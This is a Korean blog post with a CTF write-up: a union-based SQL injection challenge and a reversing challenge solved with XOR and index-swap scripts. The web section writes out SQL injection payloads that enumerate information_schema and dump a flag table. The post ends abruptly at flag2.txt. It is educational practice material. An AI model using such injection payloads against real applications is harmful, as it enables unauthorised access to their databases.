Dreamhack CTF Seaon 4 #8 div2

buaii·2023년 10월 29일
0

CTF

목록 보기
3/5

Dreamhack CTF Season 4 #8 div2


주말에 Dreamhack CTF에 참여했다
아쉽게 두문제밖에 못풀었지만 그래도 225명 중 10등을 하고 Gold랭크에 달성했다!

web문제 하나와 reversing문제 하나를 풀었는데 그걸 정리해보려 한다


Web


baby-union

SQL Injection

첫 문제는 Union을 이용한 간단한 SQL injection문제였다

문제 코드를 확인해보면 3개의 열을 가지는걸 확인할 수 있다

admin'#를 통해서 실제로 어떻게 화면에 출력하는지 확인한 결과이다
index를 처음에 두고 1번과 3번열을 출력해주는걸 알 수 있다

users 테이블에서 대충 데이터를 어떻게 다루는지 확인했으니 이제 table명을 알아내고 data를 찾아내보자

우선 query완성을 위해 몇개의 row가 필요한지 체크해봤다
admin' union 1 #
admin' union 1,2 #
admin' union 1,2,3 #
admin' union 1,2,3,4 # 이런식으로 확인한 결과 4개의 row가 필요하다는 것을 알았다

payload
admin' union select 1,2,3,table_name from information_schema.tables#
해당 payload를 통해서 flag를 가지고 있을듯한 onlyflag라는 table을 찾아냈다

payload
admin' union select 1,2,3,column_name from information_schema.columns#
해당 payload를 통해서 column의 이름을 찾아보니 코드에는 없던 s로 시작하는 column들이 나왔다


payload
admin' union select sname,svalue,sflag,sclose from onlyflag#
flag가 나오긴 했지만 sflag부분은 짤려있고 처음과 마지막부분만 출력되었다
payload를 수정해서 flag is를 출력하는 col을 3번에 넣어주면 완전한 flag를 얻을 수 있다

payload
admin' union select sname,svalue,sflag,sclose from onlyflag#





Reversing


Permpkin

Reversing

하드코딩된 문자열을 가지고 XOR연산과 원소재배치를 한 결과파일로 원본 FLAG를 찾는 문제다

제일 먼저 IDA를 통해 디스어셈블된 코드를 확인했다
sample flag를 통해 생성된 rev1.txt와 rev2.txt파일을 가지고 동작원리를 파악한 후 flag를 찾으라는 의도인것 같다

for문을 기준으로 코드를 확인해보면 rev1.txt와 rev2.txt는 같은 로직을 가지고 있으니 하나만 분석해도 된다

sub_126E

__ctype_b_loc() & 0x800 != 0조건문을 통해 문자열을 걸러낸다
이 함수가 어떤 기능을 하는지 몰라서 검색해봤다

https://medium.com/@0xMr_Robot/iti-ctf-bootcamp-cyber-talents-ctf-2023-reverse-engineering-challenges-8970ddc00173

  • 0x100 != 0이면 isupper()
  • 0x200 != 0이면 islower()
  • 0x800 != 0이면 isdigit()

그러므로 위에서 확인한 조건문은 숫자인지 아닌지 판별하는 기능이다
하드코딩되어 있는 문자열은 CC2A750B63821F45AC20839
각각의 문자를 ascii값으로 바꾼 후 계산을 해준 결과는 아래와 같다

v6 = 7, 7, 10, 5, 15, 13, 8, 6, 14, 11, 16, 10, 9, 0, 12, 13, 5, 7, 10, 8, 16, 11, 17
여기서 주의할 점은 for문이 22까지라고해서 이걸 다 사용하는것이 아니란 것이다
이걸 알아내는데 좀 오래걸렸다;;

debug

pwndbg를 이용해서 디버깅을 했다
해당 파일을 디버깅해보면 main함수가 없기때문에 직접 찾아야한다
그래서 start를 통해 시작한 후 __libc_start_call_main에서 직접 main함수를 찾아내었다

그리고 126E함수에 들어가서 디버깅을 하면서 rdi값을 확인했다
그 결과
v6 = 7, 7, 10, 5, 15, 13, 8, 6, 14, 11, 16, 10, 9, 0, 12, 13, 5, 7, 10, 8, 16, 11, 17 를 다 도는 것이 아니라 0앞에서 끊기는걸 확인할 수 있다

즉, v6 = 7, 7, 10, 5, 15, 13, 8, 6, 14, 11, 16, 10, 9이다


sub_11FD


파일에 플래그를 적기 전 첫번째 난독화 함수이다
코드를 보면 정말 간단한 로직으로 구성되어있다
v6의 값을 인덱스로 해서 s ("this_is_sample_flag")의 v6[i]번째 원소와 0번째 원소의 값을 바꾸는 것이다

위 사진처럼 문자열의 순서가 뒤바뀌는걸 알 수 있다
이걸 역으로 연산하기 위한 payload는 아래와 같다

def swap_at_index(arr, indices):
    for index in indices:
        if index < 0 or index >= len(arr):
            print(f"유효하지 않은 인덱스 {index}를 무시합니다.")
            continue

        temp = arr[index]
        arr[index] = arr[0]
        arr[0] = temp


# 하드코딩된 배열
numbers =  [51, 53, 105, 109, 112, 114, 112, 95, 116, 95, 105, 97, 117, 116, 51, 108, 109, 48, 110]

print("교체 전 배열:", numbers)

# 교체할 인덱스들로 리스트 설정
selected_indices = [9,10,16,11,14,6,8,13,15,5,10,7,7]

swap_at_index(numbers, selected_indices)

print("교체 후 배열:", numbers)



sub_12E7


마지막 난독화 함수이다
아까 구했던 v6와 flag앞부분의 문자열을 서로 xor하는걸 알 수 있다
XOR연산은 교환법칙이 성립하기 때문에 연산했던 숫자를 다시 Xor연산을 수행하면 원본값을 알 수 있다

다음은 XOR을 통해 원본값을 알아내는 payload이다

# 두 개의 하드코딩된 배열
array_1 = [52, 50, 99, 104, 127, 127, 120, 89, 122, 84, 121, 107, 124, 115, 52, 102, 104, 63, 99]


array_2 = [7,7,10,5,15,13,8,6,14,11,16,10,9,7,7,10,5,15,13]
result = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]

for index in range(0,len(array_1)):
	result[index] = array_1[index] ^ array_2[index]
	print(f'-------{index}------')
	print(f'array1 : {array_1[index]}')
	print(f'array2 : {array_2[index]}')
	print(f'result : {result[index]}')
print("두 배열을 XOR한 결과:", result)

이제 모든 로직을 이해했으니 sample_flag를 얻어보자

sample flag

문제파일을 실행시켜 얻은 rev1.txt의 값이다
[116, 115, 98, 108, 124, 108, 87, 117, 98, 84, 118, 111, 121, 88, 110, 85, 104, 99, 108, 111, 89]

이걸 가지고 xor을 한 후, 원소 재배치를 하면 sample_flag를 얻을 수 있다
먼저 xor을 해보자

xor을 한 결과를 가지고 다시 원소 재배치를 해야한다

여기서 출력된 교체 후 배열이 sample flag와 일치한다면 이번문제는 해결한 것이나 마찬가지이다


sample flag가 제대로 나오는 것을 확인했으니 이제 진짜 플래그를 얻어보자

flag

flag1.txt
우선 flag1.txt 파일 부터 복원해보자

텍스트로 변환하니 그럴싸한 플래그가 나오기 시작한다

flag2.txt

profile
buaii

0개의 댓글

관련 채용 정보